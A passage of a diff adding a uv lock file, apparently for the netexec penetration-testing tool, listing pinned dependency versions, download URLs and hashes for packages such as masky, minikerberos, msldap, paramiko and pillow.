"sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" }, + { url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" }, +] + +[[package]] +name = "masky" +version = "0.2.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asn1crypto" }, + { name = "colorama" }, + { name = "cryptography" }, + { name = "impacket" }, + { name = "pyasn1" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/c4/c4/e6605efb0884659c5c503265b66c72cebf6ae6535140250710927dda9181/masky-0.2.1.tar.gz", hash = "sha256:973615bebbd9455a1c2a81a6cec626a2032ec2209f242e3e69a6226e4b60b6fc", size = 283693, upload-time = "2025-08-15T22:16:20.973Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/9b/e1/4986c6c786d2ba8475c0344c9fa6a060050f9d4d029141b135d44ed5210e/masky-0.2.1-py3-none-any.whl", hash = "sha256:bcf545f5e2b762fc49df2f29aa934498bb5dd37ba0a28e0c1683acee2e5ef14b", size = 285166, upload-time = "2025-08-15T22:16:19.663Z" }, +] + +[[package]] +name = "mdurl" +version = "0.1.2" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" }, +] + +[[package]] +name = "minidump" +version = "0.0.24" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/26/4b/bc695b99dc7d77d28223765c3ee5a31d34fd2850c52eb683ccdd1206067d/minidump-0.0.24.tar.gz", hash = "sha256:f7ae09b944f3b17ccf5cecc66f9ff5a7a45b053474a13aeb012f4c9204470437", size = 60709, upload-time = "2024-08-15T14:54:22.728Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/da/8b/3a148750e6d65f4fe6e249f6d0d6c497eeadd867a63ed69cee3fa17e7c83/minidump-0.0.24-py3-none-any.whl", hash = "sha256:9c016e35c8fe37c82a01b0a266f5416a0b0138934d92affb436ac2e72372bec6", size = 78365, upload-time = "2024-08-15T14:54:21.124Z" }, +] + +[[package]] +name = "minikerberos" +version = "0.4.9" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asn1crypto" }, + { name = "asysocks" }, + { name = "oscrypto" }, + { name = "six" }, + { name = "tqdm" }, + { name = "unicrypto" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/f2/a9/2d2538224db85f8c4d513efa2f01697c7be5a15c6ef174132a371945d777/minikerberos-0.4.9.tar.gz", hash = "sha256:095a980a1976adff48c3de1f73d75efe9b39da7214dc7c891a2363240716a9e7", size = 144960, upload-time = "2025-10-29T09:50:50.932Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/90/24/ebe89493824e99be641faddb355594782b634af093866f2b19f398c60ecc/minikerberos-0.4.9-py3-none-any.whl", hash = "sha256:3c3a422541bc66719bd495f89cb6f9e149fba8f1499b9f550aa88cd9aa532ffa", size = 162058, upload-time = "2025-10-29T09:50:49.219Z" }, +] + +[[package]] +name = "msldap" +version = "0.5.15" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "asn1crypto" }, + { name = "asyauth" }, + { name = "asysocks" }, + { name = "prompt-toolkit" }, + { name = "tabulate" }, + { name = "tqdm" }, + { name = "unicrypto" }, + { name = "wcwidth" }, + { name = "winacl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/13/bb/2777d84cd62198ee8ca50abcf5aae51d7456464a9834fc2c0fdb3170202d/msldap-0.5.15.tar.gz", hash = "sha256:b8024a2c0559158ec407cb6317201ecc83627248baaeecee5dfd4419ca773e3d", size = 141072, upload-time = "2025-05-25T21:35:03.025Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/78/de/1b22d94542bb9e6145aa7ed1a8bb2bd24137140645749bbf38f3634d8da4/msldap-0.5.15-py3-none-any.whl", hash = "sha256:ee4224cf3964c386a52424a4b6d763a866b4d7ae6d5597a0af58611588668531", size = 165062, upload-time = "2025-05-25T21:35:01.119Z" }, +] + +[[package]] +name = "neo4j" +version = "6.2.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "pytz" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ce/f4/aaa4ac19adae4b01bc742b63afd2672a77e7351566f02721e713e4b863ee/neo4j-6.2.0.tar.gz", hash = "sha256:e1e246b65b572bd8ea97f9e0e721b7d40a5ce53e53d0007c29aef63e4f9124d9", size = 241459, upload-time = "2026-05-04T07:35:41.428Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/e6/cf/1c3795866cefaac6e648d4e98c373cafd97810f6e317c307371007ab4abb/neo4j-6.2.0-py3-none-any.whl", hash = "sha256:b87abdd13a5cc2e3bd51026926c2f20ac38fa3febe98c340520dce19e97388d0", size = 327824, upload-time = "2026-05-04T07:35:39.604Z" }, +] + +[[package]] +name = "netaddr" +version = "1.3.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/54/90/188b2a69654f27b221fba92fda7217778208532c962509e959a9cee5229d/netaddr-1.3.0.tar.gz", hash = "sha256:5c3c3d9895b551b763779ba7db7a03487dc1f8e3b385af819af341ae9ef6e48a", size = 2260504, upload-time = "2024-05-28T21:30:37.743Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/12/cc/f4fe2c7ce68b92cbf5b2d379ca366e1edae38cccaad00f69f529b460c3ef/netaddr-1.3.0-py3-none-any.whl", hash = "sha256:c2c6a8ebe5554ce33b7d5b3a306b71bbb373e000bbbf2350dd5213cc56e3dbbe", size = 2262023, upload-time = "2024-05-28T21:30:34.191Z" }, +] + +[[package]] +name = "netexec" +source = { editable = "." } +dependencies = [ + { name = "aardwolf" }, + { name = "argcomplete" }, + { name = "asyauth" }, + { name = "beautifulsoup4" }, + { name = "bloodhound-ce" }, + { name = "certihound" }, + { name = "certipy-ad" }, + { name = "dploot" }, + { name = "dsinternals" }, + { name = "impacket" }, + { name = "jwt" }, + { name = "lsassy" }, + { name = "masky" }, + { name = "minikerberos" }, + { name = "neo4j" }, + { name = "oscrypto" }, + { name = "paramiko" }, + { name = "pefile" }, + { name = "pyasn1-modules" }, + { name = "pylnk3" }, + { name = "pynfsclient" }, + { name = "pypsrp" }, + { name = "pypykatz" }, + { name = "python-dateutil" }, + { name = "python-libnmap" }, + { name = "requests" }, + { name = "rich" }, + { name = "sqlalchemy" }, + { name = "termcolor" }, + { name = "terminaltables3" }, + { name = "xmltodict" }, +] + +[package.metadata] +requires-dist = [ + { name = "aardwolf", specifier = ">=0.2.8" }, + { name = "argcomplete", specifier = ">=3.1.4" }, + { name = "asyauth", specifier = ">=0.0.20" }, + { name = "beautifulsoup4", specifier = ">=4.11,<5" }, + { name = "bloodhound-ce", specifier = ">=1.8.0" }, + { name = "certihound", specifier = ">=0.1.1" }, + { name = "certipy-ad", git = "https://github.com/Pennyw0rth/Certipy" }, + { name = "dploot", specifier = ">=3.2.2" }, + { name = "dsinternals", specifier = ">=1.2.4" }, + { name = "impacket", git = "https://github.com/Pennyw0rth/impacket" }, + { name = "jwt", specifier = ">=1.3.1" }, + { name = "lsassy", specifier = ">=3.1.11" }, + { name = "masky", specifier = ">=0.2.1" }, + { name = "minikerberos", specifier = ">=0.4.1" }, + { name = "neo4j", specifier = ">=5.0.0" }, + { name = "oscrypto", git = "https://github.com/wbond/oscrypto?rev=1547f535001ba568b239b8797465536759c742a3" }, + { name = "paramiko", specifier = ">=3.3.1" }, + { name = "pefile", specifier = ">=2024.8.26,<2025.0.0" }, + { name = "pyasn1-modules", specifier = ">=0.3.0" }, + { name = "pylnk3", specifier = ">=0.4.3" }, + { name = "pynfsclient", git = "https://github.com/Pennyw0rth/NfsClient" }, + { name = "pypsrp", specifier = ">=0.8.1" }, + { name = "pypykatz", specifier = ">=0.6.8" }, + { name = "python-dateutil", specifier = ">=2.8.2" }, + { name = "python-libnmap", specifier = ">=0.7.3" }, + { name = "requests", specifier = ">=2.27.1" }, + { name = "rich", specifier = ">=13.3.5" }, + { name = "sqlalchemy", specifier = ">=2.0.4" }, + { name = "termcolor", specifier = ">=2.4.0" }, + { name = "terminaltables3", specifier = ">=4.0.0" }, + { name = "xmltodict", specifier = ">=0.13.0" }, +] + +[[package]] +name = "oscrypto" +version = "1.3.0" +source = { git = "https://github.com/wbond/oscrypto?rev=1547f535001ba568b239b8797465536759c742a3#1547f535001ba568b239b8797465536759c742a3" } +dependencies = [ + { name = "asn1crypto" }, +] + +[[package]] +name = "paramiko" +version = "5.0.0" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "bcrypt" }, + { name = "cryptography" }, + { name = "invoke" }, + { name = "pynacl" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/62/93/dcc25d52f49022ae6175d15e6bd751f1acc99b98bc61fc55e5155a7be2e7/paramiko-5.0.0.tar.gz", hash = "sha256:36763b5b95c2a0dcfdf1abc48e48156ee425b21efe2f0e787c2dd5a95c0e5e79", size = 1548586, upload-time = "2026-05-09T18:28:52.256Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/82/5b/eadf6d45de38d30ab603f49393b6cd2cbe7e233af8cf90197e32782b68a9/paramiko-5.0.0-py3-none-any.whl", hash = "sha256:b7044611c30140d9a75261653210e2002977b71a0497ff3ba0d98d7edbf62f7c", size = 208919, upload-time = "2026-05-09T18:28:50.295Z" }, +] + +[[package]] +name = "pefile" +version = "2024.8.26" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/03/4f/2750f7f6f025a1507cd3b7218691671eecfd0bbebebe8b39aa0fe1d360b8/pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632", size = 76008, upload-time = "2024-08-26T20:58:38.155Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/54/16/12b82f791c7f50ddec566873d5bdd245baa1491bac11d15ffb98aecc8f8b/pefile-2024.8.26-py3-none-any.whl", hash = "sha256:76f8b485dcd3b1bb8166f1128d395fa3d87af26360c2358fb75b80019b957c6f", size = 74766, upload-time = "2024-08-26T21:01:02.632Z" }, +] + +[[package]] +name = "pillow" +version = "12.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/8c/21/c2bcdd5906101a30244eaffc1b6e6ce71a31bd0742a01eb89e660ebfac2d/pillow-12.2.0.tar.gz", hash = "sha256:a830b1a40919539d07806aa58e1b114df53ddd43213d9c8b75847eee6c0182b5", size = 46987819, upload-time = "2026-04-01T14:46:17.687Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/3a/aa/d0b28e1c811cd4d5f5c2bfe2e022292bd255ae5744a3b9ac7d6c8f72dd75/pillow-12.2.0-cp310-cp310-macosx_10_10_x86_64.whl", hash = "sha256:a4e8f36e677d3336f35089648c8955c51c6d386a13cf6ee9c189c5f5bd713a9f", size = 5354355, upload-time = "2026-04-01T14:42:15.402Z" }, + { url = "https://files.pythonhosted.org/packages/27/8e/1d5b39b8ae2bd7650d0c7b6abb9602d16043ead9ebbfef4bc4047454da2a/pillow-12.2.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2e589959f10d9824d39b350472b92f0ce3b443c0a3442ebf41c40cb8361c5b97", size = 4695871, upload-time = "2026-04-01T14:42:18.234Z" }, + { url = "https://files.pythonhosted.org/packages/f0/c5/dcb7a6ca6b7d3be41a76958e90018d56c8462166b3ef223150360850c8da/pillow-12.2.0-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:a52edc8bfff4429aaabdf4d9ee0daadbbf8562364f940937b941f87a4290f5ff", size = 6269734, upload-time = "2026-04-01T14:42:20.608Z" }, + { url = "https://files.pythonhosted.org/packages/ea/f1/aa1bb13b2f4eba914e9637893c73f2af8e48d7d4023b9d3750d4c5eb2d0c/pillow-12.2.0-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:975385f4776fafde056abb318f612ef6285b10a1f12b8570f3647ad0d74b48ec", size = 8076080, upload-time = "2026-04-01T14:42:23.095Z" }, + { url = "https://files.pythonhosted.org/packages/a1/2a/8c79d6a53169937784604a8ae8d77e45888c41537f7f6f65ed1f407fe66d/pillow-12.2.0-cp310-cp310-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:bd9c0c7a0c681a347b3194c500cb1e6ca9cab053ea4d82a5cf45b6b754560136", size = 6382236, upload-time = "2026-04-01T14:42:25.82Z" }, + { url = "https://files.pythonhosted.org/packages/b5/42/bbcb6051030e1e421d103ce7a8ecadf837aa2f39b8f82ef1a8d37c3d4ebc/pillow-12.2.0-cp310-cp310-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:88d387ff40b3ff7c274947ed3125dedf5262ec6919d83946753b5f3d7c67ea4c", size = 7070220, upload-time = "2026-04-01T14:42:28.68Z" }, + { url = "https://files.pythonhosted.org/packages/3f/e1/c2a7d6dd8cfa6b231227da096fd2d58754bab3603b9d73bf609d3c18b64f/pillow-12.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:51c4167c34b0d8ba05b547a3bb23578d0ba17b80a5593f93bd8ecb123dd336a3", size = 6493124, upload-time = "2026-04-01T14:42:31.579Z" }, + { url = "https://files.pythonhosted.org/packages/5f/41/7c8617da5d32e1d2f026e509484fdb6f3ad7efaef1749a0c1928adbb099e/pillow-12.2.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:34c0d99ecccea270c04882cb3b86e7b57296079c9a4aff88cb3b33563d95afaa", size = 7194324, upload-time = "2026-04-01T14:42:34.615Z" }, + { url = "https://files.pythonhosted.org/packages/2d/de/a777627e19fd6d62f84070ee1521adde5eeda4855b5cf60fe0b149118bca/pillow-12.2.0-cp310-cp310-win32.whl", hash = "sha256:b85f66ae9eb53e860a873b858b789217ba505e5e405a24b85c0464822fe88032", size = 6376363, upload-time = "2026-04-01T14:42:37.19Z" }, + { url = "https://files.pythonhosted.org/packages/e7/34/fc4cb5204896465842767b96d250c08410f01f2f28afc43b257de842eed5/pillow-12.2.0-cp310-cp310-win_amd64.whl", hash = "sha256:673aa32138f3e7531ccdbca7b3901dba9b70940a19ccecc6a37c77d5fdeb05b5", size = 7083523, upload-time = "2026-04-01T14:42:39.62Z" }, + { url = "https://files.pythonhosted.org/packages/2d/a0/32852d36bc7709f14dc3f64f929a275e958ad8c19a6deba9610d458e28b3/pillow-12.2.0-cp310-cp310-win_arm64.whl", hash = "sha256:3e080565d8d7c671db5802eedfb438e5565ffa40115216eabb8cd52d0ecce024", size = 2463318, upload-time = "2026-04-01T14:42:42.063Z" }, + { url = "https://files.pythonhosted.org/packages/68/e1/748f5663efe6edcfc4e74b2b93edfb9b8b99b67f21a854c3ae416500a2d9/pillow-12.2.0-cp311-cp311-macosx_10_10_x86_64.whl", hash = "sha256:8be29e59487a79f173507c30ddf57e733a357f67881430449bb32614075a40ab", size = 5354347, upload-time = "2026-04-01T14:42:44.255Z" }, + { url = "https://files.pythonhosted.org/packages/47/a1/d5ff69e747374c33a3b53b9f98cca7889fce1fd03d79cdc4e1bccc6c5a87/pillow-12.2.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:71cde9a1e1551df7d34a25462fc60325e8a11a82cc2e2f54578e5e9a1e153d65", size = 4695873, upload-time = "2026-04-01T14:42:46.452Z" }, + { url = "https://files.pythonhosted.org/packages/df/21/e3fbdf54408a973c7f7f89a23b2cb97a7ef30c61ab4142af31eee6aebc88/pillow-12.2.0-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f490f9368b6fc026f021db16d7ec2fbf7d89e2edb42e8ec09d2c60505f5729c7", size = 6280168, upload-time = "2026-04-01T14:42:49.228Z" }, + { url = "https://files.pythonhosted.org/packages/d3/f1/00b7278c7dd52b17ad4329153748f87b6756ec195ff786c2bdf12518337d/pillow-12.2.0-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:8bd7903a5f2a4545f6fd5935c90058b89d30045568985a71c79f5fd6edf9b91e", size = 8088188, upload-time = "2026-04-01T14:42:51.735Z" }, + { url = "https://files.pythonhosted.org/packages/ad/cf/220a5994ef1b10e70e85748b75649d77d506499352be135a4989c957b701/pillow-12.2.0-cp311-cp311-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3997232e10d2920a68d25191392e3a4487d8183039e1c74c2297f00ed1c50705", size = 6394401, upload-time = "2026-04-01T14:42:54.343Z" }, + { url = "https://files.pythonhosted.org/packages/e9/bd/e51a61b1054f09437acfbc2ff9106c30d1eb76bc1453d428399946781253/pillow-12.2.0-cp311-cp311-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e74473c875d78b8e9d5da2a70f7099549f9eb37ded4e2f6a463e60125bccd176", size = 7079655, upload-time = "2026-04-01T14:42:56.954Z" }, + { url = "https://files.pythonhosted.org/packages/6b/3d/45132c57d5fb4b5744567c3817026480ac7fc3ce5d4c47902bc0e7f6f853/pillow-12.2.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:56a3f9c60a13133a98ecff6197af34d7824de9b7b38c3654861a725c970c197b", size = 6503105, upload-time = "2026-04-01T14:42:59.847Z" }, + { url = "https://files.pythonhosted.org/packages/7d/2e/9df2fc1e82097b1df3dce58dc43286aa01068e918c07574711fcc53e6fb4/pillow-12.2.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:90e6f81de50ad6b534cab6e5aef77ff6e37722b2f5d908686f4a5c9eba17a909", size = 7203402, upload-time = "2026-04-01T14:43:02.664Z" }, + { url = "https://files.pythonhosted.org/packages/bd/2e/2941e42858ebb67e50ae741473de81c2984e6eff7b397017623c676e2e8d/pillow-12.2.0-cp311-cp311-win32.whl", hash = "sha256:8c984051042858021a54926eb597d6ee3012393ce9c181814115df4c60b9a808", size = 6378149, upload-time = "2026-04-01T14:43:05.274Z" }, + { url = "https://files.pythonhosted.org/packages/69/42/836b6f3cd7f3e5fa10a1f1a5420447c17966044c8fbf589cc0452d5502db/pillow-12.2.0-cp311-cp311-win_amd64.whl", hash = "sha256:6e6b2a0c538fc200b38ff9eb6628228b77908c319a005815f2dde585a0664b60", size = 7082626, upload-time = "2026-04-01T14:43:08.557Z" }, + { url = "https://files.pythonhosted.org/packages/c2/88/549194b5d6f1f494b485e493edc6693c0a16f4ada488e5bd974ed1f42fad/pillow-12.2.0-cp311-cp311-win_arm64.whl", hash = "sha256:9a8a34cc89c67a65ea7437ce257cea81a9dad65b29805f3ecee8c8fe8ff25ffe", size = 2463531, upload-time = "2026-04-01T14:43:10.743Z" }, + { url = "https://files.pythonhosted.org/packages/58/be/7482c8a5ebebbc6470b3eb791812fff7d5e0216c2be3827b30b8bb6603ed/pillow-12.2.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:2d192a155bbcec180f8564f693e6fd9bccff5a7af9b32e2e4bf8c9c69dbad6b5", size = 5308279, upload-time = "2026-04-01T14:43:13.246Z" }, + { url = "https://files.pythonhosted.org/packages/d8/95/0a351b9289c2b5cbde0bacd4a83ebc44023e835490a727b2a3bd60ddc0f4/pillow-12.2.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:f3f40b3c5a968281fd507d519e444c35f0ff171237f4fdde090dd60699458421", size = 4695490, upload-time = "2026-04-01T14:43:15.584Z" }, + { url = "https://files.pythonhosted.org/packages/de/af/4e8e6869cbed569d43c416fad3dc4ecb944cb5d9492defaed89ddd6fe871/pillow-12.2.0-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:03e7e372d5240cc23e9f07deca4d775c0817bffc641b01e9c3af208dbd300987", size = 6284462, upload-time = "2026-04-01T14:43:18.268Z" }, + { url = "https://files.pythonhosted.org/packages/e9/9e/c05e19657fd57841e476be1ab46c4d501bffbadbafdc31a6d665f8b737b6/pillow-12.2.0-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:b86024e52a1b269467a802258c25521e6d742349d760728092e1bc2d135b4d76", size = 8094744, upload-time = "2026-04-01T14:43:20.716Z" }, + { url = "https://files.pythonhosted.org/packages/2b/54/1789c455ed10176066b6e7e6da1b01e50e36f94ba584dc68d9eebfe9156d/pillow-12.2.0-cp312-cp312-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7371b48c4fa448d20d2714c9a1f775a81155050d383333e0a6c15b1123dda005", size = 6398371, upload-time = "2026-04-01T14:43:23.443Z" }, + { url = "https://files.pythonhosted.org/packages/43/e3/fdc657359e919462369869f1c9f0e973f353f9a9ee295a39b1fea8ee1a77/pillow-12.2.0-cp312-cp312-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:62f5409336adb0663b7caa0da5c7d9e7bdbaae9ce761d34669420c2a801b2780", size = 7087215, upload-time = "2026-04-01T14:43:26.758Z" }, + { url = "https://files.pythonhosted.org/packages/8b/f8/2f6825e441d5b1959d2ca5adec984210f1ec086435b0ed5f52c19b3b8a6e/pillow-12.2.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:01afa7cf67f74f09523699b4e88c73fb55c13346d212a59a2db1f86b0a63e8c5", size = 6509783, upload-time = "2026-04-01T14:43:29.56Z" }, + { url = "https://files.pythonhosted.org/packages/67/f9/029a27095ad20f854f9dba026b3ea6428548316e057e6fc3545409e86651/pillow-12.2.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:fc3d34d4a8fbec3e88a79b92e5465e0f9b842b628675850d860b8bd300b159f5", size = 7212112, upload-time = "2026-04-01T14:43:32.091Z" }, + { url = "https://files.pythonhosted.org/packages/be/42/025cfe05d1be22dbfdb4f264fe9de1ccda83f66e4fc3aac94748e784af04/pillow-12.2.0-cp312-cp312-win32.whl", hash = "sha256:58f62cc0f00fd29e64b29f4fd923ffdb3859c9f9e6105bfc37ba1d08994e8940", size = 6378489, upload-time = "2026-04-01T14:43:34.601Z" }, + { url = "https://files.pythonhosted.org/packages/5d/7b/25a221d2c761c6a8ae21bfa3874988ff2583e19cf8a27bf2fee358df7942/pillow-12.2.0-cp312-cp312-win_amd64.whl", hash = "sha256:7f84204dee22a783350679a0333981df803dac21a0190d706a50475e361c93f5", size = 7084129, upload-time = "2026-04-01T14:43:37.213Z" }, + { url = "https://files.pythonhosted.org/packages/10/e1/542a474affab20fd4a0f1836cb234e8493519da6b76899e30bcc5d990b8b/pillow-12.2.0-cp312-cp312-win_arm64.whl", hash = "sha256:af73337013e0b3b46f175e79492d96845b16126ddf79c438d7ea7ff27783a414", size = 2463612, upload-time = "2026-04-01T14:43:39.421Z" }, + { url = "https://files.pythonhosted.org/packages/4a/01/53d10cf0dbad820a8db274d259a37ba50b88b24768ddccec07355382d5ad/pillow-12.2.0-cp313-cp313-ios_13_0_arm64_iphoneos.whl", hash = "sha256:8297651f5b5679c19968abefd6bb84d95fe30ef712eb1b2d9b2d31ca61267f4c", size = 4100837, upload-time = "2026-04-01T14:43:41.506Z" }, + { url = "https://files.pythonhosted.org/packages/0f/98/f3a6657ecb698c937f6c76ee564882945f29b79bad496abcba0e84659ec5/pillow-12.2.0-cp313-cp313-ios_13_0_arm64_iphonesimulator.whl", hash = "sha256:50d8520da2a6ce0af445fa6d648c4273c3eeefbc32d7ce049f22e8b5c3daecc2", size = 4176528, upload-time = "2026-04-01T14:43:43.773Z" }, + { url = "https://files.pythonhosted.org/packages/69/bc/8986948f05e3ea490b8442ea1c1d4d990b24a7e43d8a51b2c7d8b1dced36/pillow-12.2.0-cp313-cp313-ios_13_0_x86_64_iphonesimulator.whl", hash = "sha256:766cef22385fa1091258ad7e6216792b156dc16d8d3fa607e7545b2b72061f1c", size = 3640401, upload-time = "2026-04-01T14:43:45.87Z" }, + { url = "https://files.pythonhosted.org/packages/34/46/6c717baadcd62bc8ed51d238d521ab651eaa74838291bda1f86fe1f864c9/pillow-12.2.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:5d2fd0fa6b5d9d1de415060363433f28da8b1526c1c129020435e186794b3795", size = 5308094, upload-time = "2026-04-01T14:43:48.438Z" }, + { url = "https://files.pythonhosted.org/packages/71/43/905a14a8b17fdb1ccb58d282454490662d2cb89a6bfec26af6d3520da5ec/pillow-12.2.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:56b25336f502b6ed02e889f4ece894a72612fe885889a6e8c4c80239ff6e5f5f", size = 4695402, upload-time = "2026-04-01T14:43:51.292Z" }, + { url = "https://files.pythonhosted.org/packages/73/dd/42107efcb777b16fa0393317eac58f5b5cf30e8392e266e76e51cff28c3d/pillow-12.2.0-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f1c943e96e85df3d3478f7b691f229887e143f81fedab9b20205349ab04d73ed", size = 6280005, upload-time = "2026-04-01T14:43:54.242Z" }, + { url = "https://files.pythonhosted.org/packages/a8/68/b93e09e5e8549019e61acf49f65b1a8530765a7f812c77a7461bca7e4494/pillow-12.2.0-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:03f6fab9219220f041c74aeaa2939ff0062bd5c364ba9ce037197f4c6d498cd9", size = 8090669, upload-time = "2026-04-01T14:43:57.335Z" }, + { url = "https://files.pythonhosted.org/packages/4b/6e/3ccb54ce8ec4ddd1accd2d89004308b7b0b21c4ac3d20fa70af4760a4330/pillow-12.2.0-cp313-cp313-manylinux_2_27_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:5cdfebd752ec52bf5bb4e35d9c64b40826bc5b40a13df7c3cda20a2c03a0f5ed", size = 6395194, upload-time = "2026-04-01T14:43:59.864Z" }, + { url = "https://files.pythonhosted.org/packages/67/ee/21d4e8536afd1a328f01b359b4d3997b291ffd35a237c877b331c1c3b71c/pillow-12.2.0-cp313-cp313-manylinux_2_27_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:eedf4b74eda2b5a4b2b2fb4c006d6295df3bf29e459e198c90ea48e130dc75c3", size = 7082423, upload-time = "2026-04-01T14:44:02.74Z" }, + { url = "https://files.pythonhosted.org/packages/78/5f/e9f86ab0146464e8c133fe85df987ed9e77e08b29d8d35f9f9f4d6f917ba/pillow-12.2.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:00a2865911330191c0b818c59103b58a5e697cae67042366970a6b6f1b20b7f9", size = 6505667, upload-time = "2026-04-01T14:44:05.381Z" }, + { url = "https://files.pythonhosted.org/packages/ed/1e/409007f56a2fdce61584fd3acbc2bbc259857d555196cedcadc68c015c82/pillow-12.2.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:1e1757442ed87f4912397c6d35a0db6a7b52592156014706f17658ff58bbf795", size = 7208580, upload-time = "2026-04-01T14:44:08.39Z" }, + { url = "https://files.pythonhosted.org/packages/23/c4/7349421080b12fb35414607b8871e9534546c128a11965fd4a7002ccfbee/pillow-12.2.0-cp313-cp313-win32.whl", hash = "sha256:144748b3af2d1b358d41286056d0003f47cb339b8c43a9ea42f5fea4d8c66b6e", size = 6375896, upload-time = "2026-04-01T14:44:11.197Z" }, + { url = "https://files.pythonhosted.org/packages/3f/82/8a3739a5e470b3c6cbb1d21d315800d8e16bff503d1f16b03a4ec3212786/pillow-12.2.0-cp313-cp313-win_amd64.whl", hash = "sha256:390ede346628ccc626e5730107cde16c42d3836b89662a115a921f28440e6a3b", size = 7081266, upload-time = "2026-04-01T14:44:13.947Z" }, + { url = "https://files.pythonhosted.org/packages/c3/25/f968f618a062574294592f668218f8af564830ccebdd1fa6200f598e65c5/pillow-12.2.0-cp313-cp313-win_arm64.whl", hash = "sha256:8023abc91fba39036dbce14a7d6535632f99c0b857807cbbbf21ecc9f4717f06", size = 2463508, upload-time = "2026-04-01T14:44:16.312Z" }, + { url = "https://files.pythonhosted.org/packages/4d/a4/b342930964e3cb4dce5038ae34b0eab4653334995336cd486c5a8c25a00c/pillow-12.2.0-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:042db20a421b9bafecc4b84a8b6e444686bd9d836c7fd24542db3e7df7baad9b", size = 5309927, upload-time = "2026-04-01T14:44:18.89Z" }, + { url = "https://files.pythonhosted.org/packages/9f/de/23198e0a65a9cf06123f5435a5d95cea62a635697f8f03d134d3f3a96151/pillow-12.2.0-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:dd025009355c926a84a612fecf58bb315a3f6814b17ead51a8e48d3823d9087f", size = 4698624, upload-time = "2026-04-01T14:44:21.115Z" }, + { url = 